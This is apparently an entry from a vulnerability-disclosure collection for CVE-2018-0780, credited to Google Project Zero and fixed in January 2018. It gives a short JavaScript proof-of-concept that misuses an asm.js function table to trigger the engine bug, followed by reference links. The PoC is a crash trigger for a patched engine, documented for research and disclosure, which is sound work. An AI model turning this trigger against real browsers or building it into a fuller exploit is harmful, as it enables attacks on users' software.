CVE-2018-0780.md

CVE-2018-0780

• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

function Module() {
    'use asm';
    function f() {
        arr();
    }

    function g() {
    }

    var arr = [g];
    return f;
}

let f = Module();
f();

Reference

• Microsoft
• Google Project Zero
• Fix